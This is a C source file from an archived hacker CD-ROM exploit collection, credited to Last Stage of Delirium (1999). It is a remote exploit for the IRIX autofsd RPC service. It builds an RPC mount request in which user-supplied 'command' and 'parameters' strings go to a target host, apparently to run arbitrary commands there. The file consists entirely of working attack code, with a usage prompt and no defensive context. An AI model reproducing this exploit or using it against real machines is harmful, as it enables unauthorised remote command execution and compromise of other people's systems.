home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / irix / irx_autofsd2.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  2.1 KB  |  78 lines

  1. /*## copyright LAST STAGE OF DELIRIUM nov 1999 poland        *://lsd-pl.net/ #*/
  2. /*## autofsd                                                                 #*/
  3.  
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <rpc/rpc.h>
  8. #include <netdb.h>
  9. #include <stdio.h>
  10. #include <errno.h>
  11.  
  12. #define AUTOFSD_PROG 100099
  13. #define AUTOFSD_VERS 1
  14. #define AUTOFSD_MOUNT 1
  15.  
  16. #define MAXNAME 255
  17. #define MAXOPTS 255
  18. #define MAXPATH 1024
  19.  
  20. typedef struct{char *name;char *map;char *opts; char *path; }req_t;
  21. typedef struct{int status;}res_t;
  22.  
  23. bool_t xdr_req(XDR *xdrs,req_t *objp){
  24.     if(!xdr_string(xdrs,&objp->name,MAXNAME)) return(FALSE);
  25.     if(!xdr_string(xdrs,&objp->map,MAXNAME)) return(FALSE);
  26.     if(!xdr_string(xdrs,&objp->opts,MAXOPTS)) return(FALSE);
  27.     if(!xdr_string(xdrs,&objp->path,MAXPATH)) return(FALSE);
  28.     return(TRUE);
  29. }
  30.  
  31. bool_t xdr_res(XDR *xdrs,res_t *objp){
  32.     if(!xdr_int(xdrs,&objp->status)) return(FALSE);
  33.     return(TRUE);
  34. }
  35.  
  36. main(int argc,char **argv){
  37.     char command[10000];
  38.     int i;
  39.     CLIENT *cl;enum clnt_stat stat;
  40.     struct hostent *hp;
  41.     struct sockaddr_in adr;
  42.     struct timeval tm={10,0};
  43.     req_t req;
  44.     res_t res;
  45.  
  46.     printf("copyright LAST STAGE OF DELIRIUM nov 1999 poland  //lsd-pl.net/\n");
  47.     printf("autofsd for irix 6.4 6.5 6.5.3 IP:all\n\n");
  48.  
  49.     if(argc!=4){
  50.         printf("usage: %s address \"command\" \"parameters\"\n",argv[0]);
  51.         exit(-1);
  52.     }
  53.  
  54.     adr.sin_family=AF_INET;    
  55.     adr.sin_port=0;    
  56.     if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  57.         if((hp=gethostbyname(argv[1]))==NULL){
  58.             errno=EADDRNOTAVAIL;perror("error");exit(-1);
  59.         }
  60.         memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
  61.     }
  62.  
  63.     req.path=(char*)strdup("");
  64.     req.map=argv[2];
  65.     req.name=argv[3];
  66.     req.opts=(char*)strdup("");
  67.  
  68.     i=RPC_ANYSOCK;
  69.     if(!(cl=clntudp_create(&adr,AUTOFSD_PROG,AUTOFSD_VERS,tm,&i))){
  70.         clnt_pcreateerror("error");exit(-1);
  71.     }
  72.     stat=clnt_call(cl,AUTOFSD_MOUNT,xdr_req,&req,xdr_res,&res,tm);
  73.     if(stat!=RPC_SUCCESS) clnt_perror(cl,"error"); 
  74.     else printf("res=%d\n",res.status);
  75.     clnt_destroy(cl);
  76. }
  77.  
  78.